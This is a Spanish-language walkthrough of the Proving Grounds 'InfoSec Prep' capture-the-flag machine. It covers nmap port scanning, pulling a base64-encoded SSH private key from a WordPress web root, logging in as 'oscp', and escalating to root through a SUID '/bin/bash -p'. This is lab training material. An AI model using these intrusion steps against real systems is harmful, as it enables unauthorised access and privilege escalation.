> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/infosec-prep.md). # InfoSec Prep Write-up de la máquina InfoSec Prep de Proving Grounds #writeup #walkthrough

### Enumeración #### NMAP Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima. ``` nmap -p- --open -vvv -Pn -n --min-rate 2000 192.168.148.89 ```

Están abiertos los puertos 22,80 y 33060 TCP en la máquina objetivo. El siguiente paso es realizar un escaneo más profundo únicamente de los servicios abiertos. ``` nmap -p22,80,33060 -sVC -vv -Pn -n 192.168.148.89 ```

Tres servicios abiertos: * Puerto 22 -> OpenSSH 8.2p1 * Puerto 80 -> Apache httpd 2.4.41 * Puerto 33060 -> MySQLx ? #### Enumeración web Tenemos disponible un servidor Web en el puerto 80. Vamos a ver el contenido en el navegador.

Vemos un sitio Web Wordpress. Vamos a inspeccionar el sitio Web para buscar información interesante.

Durante el escaneo intensivo de NMAP, vimos lo siguiente:

Vamos a abrir este archivo en el navegador.

Descargamos este archivo de la siguiente manera: ``` wget http://192.168.148.89/secret.txt ```

Tenemos un archivo con contenido codificado posiblemente en base64. Vamos a decodificarlo de la siguiente manera: ``` cat secret.txt | base64 -d ```

Es una clave privada. Vamos a crear un archivo id\_rsa con la clave descifrada. ``` cat secret.txt | base64 -d | tee id_rsa ``` ### Conexión como usuario "oscp" Debemos configurar los permisos adecuados para clave privada id\_rsa. A continuación, la utilizaremos para iniciar sesión a través del servicio SSH con el usuario "oscp". Configuramos los permisos para id\_rsa. ``` chmod 600 id_rsa ```

Y nos conectamos a través de SSH. ``` ssh oscp@192.168.148.89 -i id_rsa ```

Ya tenemos conexión con la máquina víctima. Buscamos la flag local.txt

### Elevación de privilegios Probamos las diversas formas de elevar privilegios con sudo pero para todas es necesario conocer una contraseña. Vamos a enumerar archivos que tienen activo el **bit SUID**. Para ello, ejecutamos lo siguiente: ``` find / -perm -u=s -type f 2>/dev/null ```

Tenemos un binario /bin/bash, que puede ser interesante. Para ejecutar este binario: ``` /bin/bash -p ```

Ya tenemos privilegios máximos dentro de la máquina víctima. Ahora buscamos la flag para completar la máquina.

Ya tendríamos acabado el CTF Infosecprep. {% embed url="" %}